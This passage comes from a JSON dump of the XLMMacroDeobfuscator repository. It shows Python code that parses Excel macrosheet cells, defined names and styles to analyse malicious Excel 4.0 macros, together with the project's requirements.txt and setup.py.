  row_attribs = {}\n            for attr in row._attributes:\n                if attr == 'ht':\n                    row_attribs[RowAttribute.Height] = row.get_attribute('ht')\n                elif attr == 'spans':\n                    row_attribs[RowAttribute.Spans] = row.get_attribute('spans')\n            if len(row_attribs) > 0:\n                macrosheet.row_attributes[row.get_attribute('r')] = row_attribs\n            if hasattr(row, 'c'):\n                for cell_elm in row.c:\n                    formula_text = None\n                    if hasattr(cell_elm, 'f'):\n                        formula = cell_elm.f\n                        if formula.get_attribute('bx') == \"1\":\n                            text = formula.cdata\n                            formula_text = None\n                            if text:\n                                first_eq_sign = text.find('=')\n                                if first_eq_sign > 0:\n                                    formula_text = '=SET.NAME(\"{}\",{})'.format(text[:first_eq_sign], text[first_eq_sign+1:])\n                        else:\n                            formula_text = ('=' + formula.cdata) if formula is not None else None\n                            \n                    if formula_text:\n                        for name in macrosheet_names:\n                            if name.lower() + '!' in formula_text.lower():\n                                formula_text = re.sub('{}\\!'.format(name), \"'{}'!\".format(name), formula_text)\n                    value_text = None\n                    is_string = False\n                    if 't' in cell_elm._attributes and cell_elm.get_attribute('t') == 's':\n                        is_string = True\n\n                    cached_str = False\n                    if 't' in cell_elm._attributes and cell_elm.get_attribute('t') == 'str':\n                        cached_str = True\n\n                    if hasattr(cell_elm, 'v'):\n                        value = cell_elm.v\n                        value_text = value.cdata if value is not None else None\n                        if value_text is not None and is_string:\n                            value_text = strings[int(value_text)]\n                    location = cell_elm.get_attribute('r')\n                    if formula_text or value_text:\n                        cell = Cell()\n                        sheet_name, cell.column, cell.row = Cell.parse_cell_addr(location)\n                        cell.sheet = macrosheet\n                        if not cached_str:\n                            cell.formula = formula_text\n                        cell.value = value_text\n                        macrosheet.cells[location] = cell\n\n                        for attrib in cell_elm._attributes:\n                            if attrib != 'r':\n                                cell.attributes[attrib] = cell_elm._attributes[attrib]\n\n    def load_worksheet_cells(self, macrosheet, macrosheet_obj):\n        strings = self.get_shared_strings()\n        if not hasattr(macrosheet_obj.worksheet.sheetData, 'row'):\n            return\n        for row in macrosheet_obj.worksheet.sheetData.row:\n            row_attribs = {}\n            for attr in row._attributes:\n                if attr == 'ht':\n                    row_attribs[RowAttribute.Height] = row.get_attribute('ht')\n                elif attr == 'spans':\n                    row_attribs[RowAttribute.Spans] = row.get_attribute('spans')\n            if len(row_attribs) > 0:\n                macrosheet.row_attributes[row.get_attribute('r')] = row_attribs\n            if hasattr(row, 'c'):\n                for cell_elm in row.c:\n                    formula_text = None\n                    if hasattr(cell_elm, 'f'):\n                        formula = cell_elm.f\n                        formula_text = ('=' + formula.cdata) if formula is not None else None\n                    value_text = None\n                    is_string = False\n                    if 't' in cell_elm._attributes and cell_elm.get_attribute('t') == 's':\n                        is_string = True\n\n                    if hasattr(cell_elm, 'v'):\n                        value = cell_elm.v\n                        value_text = value.cdata if value is not None else None\n                        if value_text is not None and is_string:\n                            value_text = strings[int(value_text)]\n                    location = cell_elm.get_attribute('r')\n                    cell = Cell()\n                    sheet_name, cell.column, cell.row = Cell.parse_cell_addr(location)\n                    cell.sheet = macrosheet\n                    cell.formula = formula_text\n                    cell.value = value_text\n                    macrosheet.cells[location] = cell\n\n                    for attrib in cell_elm._attributes:\n                        if attrib != 'r':\n                            cell.attributes[attrib] = cell_elm._attributes[attrib]\n\n    def get_defined_name(self, name, full_match=True):\n        result = []\n        name = name.lower()\n\n        if full_match:\n            if name in self.get_defined_names():\n                result = self._defined_names[name]\n        else:\n            for defined_name, cell_address in self.get_defined_names().items():\n                if defined_name.startswith(name):\n                    result.append((defined_name, cell_address))\n\n        return result\n\n    def get_macrosheets(self):\n        if self._macrosheets is None:\n            self._macrosheets = {}\n            macrosheets = self.get_macrosheet_infos()\n\n            macrosheet_names = []\n            for macrosheet in macrosheets:\n                macrosheet_names.append(macrosheet['sheet'].name)\n\n            for macrosheet in macrosheets:\n                # if the actual file exist\n                if macrosheet['sheet_xml']:\n                    self.load_macro_cells(macrosheet['sheet'], macrosheet['sheet_xml'], macrosheet_names)\n                    sheet = macrosheet['sheet_xml'].xm_macrosheet if hasattr(macrosheet['sheet_xml'],\n                                                                    'xm_macrosheet') else macrosheet['sheet_xml'].worksheet\n                    if hasattr(sheet, 'sheetFormatPr'):\n                        macrosheet['sheet'].default_height = sheet.sheetFormatPr.get_attribute(\n                            'defaultRowHeight')\n\n                self._macrosheets[macrosheet['sheet'].name] = macrosheet['sheet']\n\n        return self._macrosheets\n\n    def get_worksheets(self):\n        if self._worksheets is None:\n            self._worksheets = {}\n            _worksheets = self.get_worksheet_infos()\n            for worksheet in _worksheets:\n                self.load_worksheet_cells(worksheet['sheet'], worksheet['sheet_xml'])\n                if hasattr(worksheet['sheet_xml'].worksheet, 'sheetFormatPr'):\n                    worksheet['sheet'].default_height = worksheet['sheet_xml'].worksheet.sheetFormatPr.get_attribute(\n                        'defaultRowHeight')\n\n                self._worksheets[worksheet['sheet'].name] = worksheet['sheet']\n\n        return self._worksheets\n\n    def get_color_index(self, rgba_str):\n\n        r, g, b = int('0x' + rgba_str[2:4], base=16), int('0x' + rgba_str[4:6], base=16), int(\n            '0x' + rgba_str[6:8], base=16)\n\n        if self.color_maps is None:\n            colors = [\n                (0, 0, 0, 1), (255, 255, 255, 2), (255, 0, 0, 3), (0, 255, 0, 4),\n                (0, 0, 255, 5), (255, 255, 0, 6), (255, 0, 255, 7), (0, 255, 255, 8),\n                (128, 0, 0, 9), (0, 128, 0, 10), (0, 0, 128, 11), (128, 128, 0, 12),\n                (128, 0, 128, 13), (0, 128, 128, 14), (192, 192, 192, 15), (128, 128, 128, 16),\n                (153, 153, 255, 17), (153, 51, 102, 18), (255, 255, 204, 19), (204, 255, 255, 20),\n                (102, 0, 102, 21), (255, 128, 128, 22), (0, 102, 204, 23), (204, 204, 255, 24),\n                (0, 0, 128, 25), (255, 0, 255, 26), (255, 255, 0, 27), (0, 255, 255, 28),\n                (128, 0, 128, 29), (128, 0, 0, 30), (0, 128, 128, 31), (0, 0, 255, 32),\n                (0, 204, 255, 33), (204, 255, 255, 34), (204, 255, 204, 35), (255, 255, 153, 36),\n                (153, 204, 255, 37), (255, 153, 204, 38), (204, 153, 255, 39), (255, 204, 153, 40),\n                (51, 102, 255, 41), (51, 204, 204, 42), (153, 204, 0, 43), (255, 204, 0, 44),\n                (255, 153, 0, 45), (255, 102, 0, 46), (102, 102, 153, 47), (150, 150, 150, 48),\n                (0, 51, 102, 49), (51, 153, 102, 50), (0, 51, 0, 51), (51, 51, 0, 52),\n                (153, 51, 0, 53), (153, 51, 102, 54), (51, 51, 153, 55), (51, 51, 51, 56)\n            ]\n            self.color_maps = {}\n\n            for i in colors:\n                c_r, c_g, c_b, index = i\n                if (c_r, c_g, c_b) not in self.color_maps:\n                    self.color_maps[(c_r, c_g, c_b)] = index\n\n        color_index = None\n\n        if (r, g, b) in self.color_maps:\n            color_index = self.color_maps[(r, g, b)]\n\n        return color_index\n\n    def get_cell_info(self, sheet_name, col, row, info_type_id):\n        data = None\n        not_exist = True\n        not_implemented = False\n\n        sheet = self._macrosheets[sheet_name]\n        cell_addr = col+str(row)\n        if info_type_id == 17:\n            style = self.get_style()\n            if row in sheet.row_attributes and RowAttribute.Height in sheet.row_attributes[row]:\n                not_exist = False\n                data = sheet.row_attributes[row][RowAttribute.Height]\n            elif sheet.default_height is not None:\n                data = sheet.default_height\n                NotImplemented = True\n            data = round(float(data) * 4) / 4\n\n        else:\n            style = self.get_style()\n            cell_format = None\n            font = None\n            not_exist = False\n\n            if cell_addr in sheet.cells:\n                cell = sheet.cells[cell_addr]\n                if 's' in cell.attributes:\n                    index = int(cell.attributes['s'])\n                    cell_format = style.styleSheet.cellXfs.xf[index]\n                    if 'fontId' in cell_format._attributes:\n                        font_index = int(cell_format.get_attribute('fontId'))\n                        font = style.styleSheet.fonts.font[font_index]\n            else:\n                for cell_style in style.styleSheet.cellStyles.cellStyle:\n                    if cell_style.get_attribute('name') == 'Normal':\n                        index = int(cell_style.get_attribute('xfId'))\n                        if type(style.styleSheet.cellStyleXfs.xf) is list:\n                            cell_format = style.styleSheet.cellStyleXfs.xf[index]\n                        else:\n                            cell_format = style.styleSheet.cellStyleXfs.xf\n                        if 'fontId' in cell_format._attributes:\n                            font_index = int(cell_format.get_attribute('fontId'))\n                            font = style.styleSheet.fonts.font[font_index]\n                        break\n                NotImplemented = True\n\n            if info_type_id == 8:\n                h_align_map = {\n                    'general': 1,\n                    'left': 2,\n                    'center': 3,\n                    'right': 4,\n                    'fill': 5,\n                    'justify': 6,\n                    'centerContinuous': 7,\n                    'distributed': 8\n                }\n\n                if hasattr(cell_format, 'alignment'):\n                    horizontal_alignment = cell_format.alignment.get_attribute('horizontal')\n                    data = h_align_map[horizontal_alignment.lower()]\n\n                else:\n                    data = 1\n\n            elif info_type_id == 19:\n                if hasattr(font, 'sz'):\n                    size = font.sz\n                    data = float(size.get_attribute('val'))\n\n            elif info_type_id == 24:\n                if 'rgb' in font.color._attributes:\n                    rgba_str = font.color.get_attribute('rgb')\n                    data = self.get_color_index(rgba_str)\n                else:\n                    data = 1\n\n            elif info_type_id == 38:\n                # Font Background Color\n                fill_id = int(cell_format.get_attribute('fillId'))\n                fill = style.styleSheet.fills.fill[fill_id]\n                if hasattr(fill.patternFill, 'fgColor'):\n                    rgba_str = fill.patternFill.fgColor.get_attribute('rgb')\n                    data = self.get_color_index(rgba_str)\n                else:\n                    data = 0\n\n            elif info_type_id == 50:\n                if hasattr(cell_format, 'alignment'):\n                    vertical_alignment = cell_format.alignment.get_attribute('vertical')\n                else:\n                    vertical_alignment = 'bottom'  # default\n\n                v_alignment = {\n                    'top': 1,\n                    'center': 2,\n                    'bottom': 3,\n                    'justify': 4,\n                    'distributed': 5,\n                }\n                data = v_alignment[vertical_alignment.lower()]\n\n            else:\n                not_implemented = True\n\n        # return None, None, True\n        return data, not_exist, not_implemented\n\n\nif __name__ == '__main__':\n\n    path = r\"tmp\\xlsb\\6644bcba091c3104aebc0eab93d4247a884028aad389803d71f26541df325cf8.xlsm\"\n\n    xlsm_doc = XLSMWrapper(path)\n    macrosheets = xlsm_doc.get_macrosheets()\n\n    auto_open_labels = xlsm_doc.get_defined_name('auto_open', full_match=False)\n    for label in auto_open_labels:\n        print('auto_open: {}->{}'.format(label[0], label[1]))\n\n    for macrosheet_name in macrosheets:\n        print('SHEET: {}\\t{}'.format(macrosheets[macrosheet_name].name,\n                                     macrosheets[macrosheet_name].type))\n        for formula_loc, info in macrosheets[macrosheet_name].cells.items():\n            if info.formula is not None:\n                print('{}\\t{}\\t{}'.format(formula_loc, info.formula, info.value))\n\n        for formula_loc, info in macrosheets[macrosheet_name].cells.items():\n            if info.formula is None:\n                print('{}\\t{}\\t{}'.format(formula_loc, info.formula, info.value))\n"
  },
  {
    "path": "requirements.txt",
    "content": "pyxlsb2\nlark-parser\nxlrd2\nuntangle==1.2.1\nmsoffcrypto-tool\ndefusedxml\nroman\n"
  },
  {
    "path": "setup.py",
    "content": "from XLMMacroDeobfuscator import __version__\nimport os\n\ntry:\n    from setuptools import setup\nexcept ImportError:\n    from distutils.core import setup\n\nproject_dir = os.path.abspath(os.path.dirname(__file__))\n\nwith open(os.path.join(project_dir, 'README.md')) as f:\n    long_description = f.read()\n\nentry_points = {\n    'console_scripts': [\n        'xlmdeobfuscator=XLMMacroDeobfuscator.deobfuscator:main',\n    ],\n}\n\nsetup(\n    name=\"XLMMacroDeobfuscator\",\n    version=__version__,\n    author=\"Amirreza Niakanlahiji\",\n    author_email=\"aniak2@uis.edu\",\n    description=(\n        \"XLMMacroDeobfuscator is an XLM Emulation engine written in Python 3, designed to \"\n        \"analyze and deobfuscate malicious XLM macros, also known as Excel 4.0 macros, \"\n        \"contained in MS Excel files (XLS, XLSM, and XLSB).\"),\n    long_description=long_description,\n    long_description_content_type=\"text/markdown\",\n    url=\"https://github.com/DissectMalware/XLMMacroDeobfuscator\",\n    packages=[\"XLMMacroDeobfuscator\", \"XLMMacroDeobfuscator.configs\"],\n    entry_points=entry_points,\n    license='Apache License 2.0',\n    python_requires='>=3.4',\n    install_requires=[\n        \"pyxlsb2\",\n        \"lark-parser\",\n        \"xlrd2\",\n        \"untangle==1.2.1\",\n        \"msoffcrypto-tool\",\n        \"roman\"\n    ],\n    extras_require={\n        \"secure\": [\"defusedxml\"],\n    },\n    classifiers=[\n        \"Development Status :: 4 - Beta\",\n        \"Intended Audience :: Developers\",\n        \"Intended Audience :: Information Technology\",\n        \"Intended Audience :: Science/Research\",\n        \"Intended Audience :: System Administrators\",\n        \"License :: OSI Approved :: Apache Software License\",\n        \"Natural Language :: English\",\n        \"Operating System :: OS Independent\",\n        \"Programming Language :: Python\",\n        \"Programming Language :: Python :: 3\",\n        \"Programming Language :: Python :: 3.4\",\n        \"Programming Language :: Python :: 3.5\",\n        \"Programming Language :: Python :: 3.6\",\n        \"Programming Language :: Python :: 3.7\",\n        \"Programming Language :: Python :: 3.8\",\n        \"Topic :: Security\",\n        \"Topic :: Software Development :: Libraries :: Python Modules\",\n    ],\n    package_data={'XLMMacroDeobfuscator': ['xlm-macro.lark.template', 'configs/get_workspace.conf', 'configs/get_cell.conf', 'configs/get_window.conf']},\n)\n"
  }
]